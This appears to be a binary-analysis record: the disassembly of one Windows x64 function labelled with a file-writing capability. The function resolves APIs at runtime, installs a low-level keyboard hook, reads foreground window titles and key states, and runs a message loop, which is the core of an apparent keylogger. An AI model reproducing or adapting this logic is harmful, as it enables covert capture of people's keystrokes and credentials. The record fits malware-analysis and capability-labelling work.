Function at 0x1400168a0
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
call fcn.14000a580
lea rcx, [0x140019438]
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rbx
mov qword [0x140022040], rax
mov rcx, rax
test rax, rax
jne 0x1400168e3
movaps xmm0, xmmword [0x14001a060]
movaps xmmword [rsp + 0x30], xmm0
jmp 0x140016a37
lea rdx, str.GetConsoleOutputCP
lea rsi, [0x1400049a3]
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.GetConsoleCP
lea r12, [0x1400221a0]
mov qword [0x140022070], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.SetConsoleOutputCP
mov qword [0x140022068], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.SetConsoleCP
mov qword [0x1400221e0], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.ReadConsoleW
mov qword [0x1400221d0], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.GetLastError
mov qword [0x140022188], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.FormatMessageW
mov qword [0x140022180], rax
call fcn.140001ec6
mov rcx, qword [0x140022040]
lea rdx, str.LocalFree
mov qword [0x140022178], rax
call fcn.140001ec6
mov rdx, rsi
mov ecx, 2
mov qword [0x140022170], rax
call sub.msvcrt.dll_signal
mov rdx, rsi
mov ecx, 0xb
call sub.msvcrt.dll_signal
mov rdx, rsi
mov ecx, 0x16
call sub.msvcrt.dll_signal
mov rdx, rsi
mov ecx, 8
call sub.msvcrt.dll_signal
mov rdx, rsi
mov ecx, 4
call sub.msvcrt.dll_signal
mov rcx, r12
mov rsi, qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call rsi
lea rcx, [0x140002d97]
call fcn.140001410
lea rcx, [0x140019478]
call rbx
mov qword [0x140022048], rax
mov rcx, rax
test rax, rax
jne 0x140016a41
movaps xmm1, xmmword [0x14001a070]
movaps xmmword [rsp + 0x30], xmm1
lea rcx, [rsp + 0x30]
call fcn.140001e34
lea rdx, str.CloseHandle
call fcn.140001ec6
lea rcx, [0x1400194a8]
mov qword [0x1400220f0], rax
call rbx
mov qword [0x140022050], rax
mov rcx, rax
test rax, rax
jne 0x140016a7a
movaps xmm2, xmmword [0x14001a080]
movaps xmmword [rsp + 0x30], xmm2
jmp 0x140016a37
lea rdx, str.SetWindowsHookExW
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.GetForegroundWindow
mov qword [0x1400220e0], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.GetWindowTextW
mov qword [0x140022100], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.GetKeyState
mov qword [0x1400220f8], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.CallNextHookEx
mov qword [0x140022158], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.GetMessageW
mov qword [0x140022118], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.TranslateMessage
mov qword [0x1400220d0], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.DispatchMessageW
mov qword [0x140022080], rax
call fcn.140001ec6
mov rcx, qword [0x140022050]
lea rdx, str.UnhookWindowsHookEx
mov qword [0x140022078], rax
call fcn.140001ec6
lea rcx, [0x1400194d8]
mov qword [0x140022088], rax
call rbx
mov qword [0x140022058], rax
mov rcx, rax
test rax, rax
jne 0x140016b86
movaps xmm3, xmmword [0x14001a090]
movaps xmmword [rsp + 0x30], xmm3
jmp 0x140016a37
lea rdx, str.WideCharToMultiByte
call fcn.140001ec6
mov rcx, qword [0x140022058]
lea rdx, str.lstrlenW
mov qword [0x140022108], rax
call fcn.140001ec6
mov rcx, qword [0x140022058]
lea rdx, str.MultiByteToWideChar
mov qword [0x140022110], rax
call fcn.140001ec6
lea rcx, [0x140019518]
mov qword [0x1400220e8], rax
call rbx
mov qword [0x140022060], rax
mov rcx, rax
test rax, rax
jne 0x140016bf6
movaps xmm4, xmmword [0x14001a0a0]
movaps xmmword [rsp + 0x30], xmm4
jmp 0x140016a37
lea rdx, str.GetCommandLineW
call fcn.140001ec6
mov rcx, qword [0x140022060]
lea rdx, str.GetSystemTimeAsFileTime
mov qword [0x140022160], rax
call fcn.140001ec6
lea rcx, [0x140022200]
mov qword [0x140022168], rax
call rsi
mov rdi, qword [fcn.1400106c0]
xor ecx, ecx
call rdi
mov rbp, qword [sym.imp.msvcrt.dll__fileno]
mov rcx, rax
call rbp
mov edx, 0x8000
mov rsi, qword [sym.imp.msvcrt.dll__setmode]
mov ecx, eax
call rsi
mov ecx, 1
call rdi
mov rcx, rax
call rbp
mov edx, 0x8000
mov ecx, eax
call rsi
mov ecx, 2
call rdi
mov rcx, rax
call rbp
mov edx, 0x8000
lea rbp, [0x1400182c0]
mov ecx, eax
call rsi
call qword [0x140022070]
mov dword [0x1400221d8], eax
call qword [0x140022068]
cmp dword [0x1400221d8], 0xfde9
mov dword [0x1400221c8], eax
jne 0x140016cfb
cmp dword [0x1400221c8], 0xfde9
je 0x140016d4d
mov ecx, 0xfde9
call qword [0x1400221d0]
lea rcx, [rsp + 0x60]
mov edx, 0x10
call fcn.140001a75
lea rax, [0x14000145d]
xor edx, edx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x20], xmm0
call fcn.140004352
jmp 0x140016d4d
mov ecx, 0xfde9
call qword [0x1400221e0]
mov edx, 0x10
lea rcx, [rsp + 0x60]
call fcn.140001a75
lea rax, [0x140001450]
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movaps xmm5, xmmword [rsp + 0x60]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm5
call fcn.140004352
mov rcx, rbp
call fcn.140010eb0
cmp byte [rax], 0
je 0x140016ca8
lea rcx, [0x140019538]
call rbx
mov rcx, rbp
mov rsi, rax
call fcn.140010eb0
cmp byte [rax], 0
mov rbx, rax
jne 0x140016d7e
test rsi, rsi
je 0x140016d7e
lea rdx, str.inet_ntop
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
mov edx, 0x18
mov rcx, r9
call fcn.140001a75
mov r8d, 0x3b
lea rdx, [0x14001a2a0]
mov rcx, r9
call fcn.1400054dd
cmp byte [rbx], 0
jne 0x140016fc4
movaps xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
lea r9, [rsp + 0x60]
mov edx, 0x18
mov rcx, r9
mov qword [0x140022150], rax
movaps xmmword [0x140022140], xmm1
call fcn.140001a75
mov r8d, 0x14
lea rdx, [0x14001a0c0]
mov rcx, r9
call fcn.1400054dd
cmp byte [rbx], 0
jne 0x140016fc4
movaps xmm2, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140009cc1]
mov ecx, 0xd
mov qword [0x140022130], rax
movaps xmmword [0x140022120], xmm2
call qword [0x1400220e0]
mov qword [0x1400220d8], rax
test rax, rax
je 0x140016f37
mov rcx, r12
lea r13, [0x140019067]
lea r14, [0x140019560]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, 1
call rdi
lea r8, [0x140019568]
mov rdx, r13
mov rcx, rax
mov rbp, rax
call fcn.1400030be
mov esi, eax
cmp esi, 0x12
jg 0x140016ea5
movsxd rax, esi
cmp byte [r14 + rax + 8], 0
jne 0x140016e8d
xor ecx, ecx
mov rdx, rbp
call sub.msvcrt.dll_fputc
test eax, eax
jne 0x140016ea5
inc esi
jmp 0x140016e6b
lea r8, [r14 + rax + 8]
mov rdx, r13
mov rcx, rbp
call fcn.1400030be
test eax, eax
jle 0x140016ea5
add esi, eax
jmp 0x140016e6b
cmp byte [rbx], 0
jne 0x140016ee3
mov ecx, 1
call rdi
mov r8d, 1
mov edx, 1
lea rcx, [0x140019052]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rdi
mov rcx, rax
call fcn.140010cc8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
xor r8d, r8d
lea rsi, [0x1400220a0]
xor edx, edx
mov rcx, rsi
call qword [0x1400220d0]
cmp dword [0x1400220a8], 0x12
jne 0x140016f1b
mov rcx, qword [0x1400220d8]
call qword [0x140022088]
cmp byte [rbx], 0
je 0x140016f37
jmp 0x140016fc4
mov rcx, rsi
call qword [0x140022080]
mov rcx, rsi
call qword [0x140022078]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
jmp 0x140016ef2
movaps xmm3, xmmword [0x140022120]
lea rsi, [rsp + 0x30]
mov rcx, rsi
movaps xmmword [rsp + 0x30], xmm3
call fcn.140005483
cmp byte [rbx], 0
jne 0x140016fc4
movaps xmm4, xmmword [0x140022140]
mov rcx, rsi
movaps xmmword [rsp + 0x30], xmm4
call fcn.140005483
cmp byte [rbx], 0
jne 0x140016fc4
mov rdi, qword [0x1400221f8]
mov r12, qword [0x1400221f0]
xor ebp, ebp
lea rsi, [rdi + 0x18]
cmp rbp, r12
jl 0x140016f8e
test rdi, rdi
jne 0x140016fb1
jmp 0x140016fbf
cmp byte [rsi - 0x10], 0
jne 0x140016fa8
mov rcx, qword [rsi]
call fcn.140004058
test al, al
je 0x140016fa8
mov rcx, qword [rsi]
call fcn.140003a50
inc rbp
add rsi, 0x18
jmp 0x140016f82
test byte [rdi + 7], 0x40
jne 0x140016fbf
mov rcx, rdi
call fcn.140003a03
cmp byte [rbx], 0
je 0x140017006
lea rcx, [0x140018200]
call fcn.140010eb0
mov rcx, qword [rax]
mov rbx, rax
test rcx, rcx
je 0x140017006
call fcn.140005126
xor eax, eax
mov rsi, qword [rbx]
mov qword [rbx], rax
mov rcx, rsi
call fcn.140004058
test al, al
je 0x140016ffc
mov rcx, rsi
call fcn.140003a50
mov ecx, 1
call sub.msvcrt.dll_exit
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret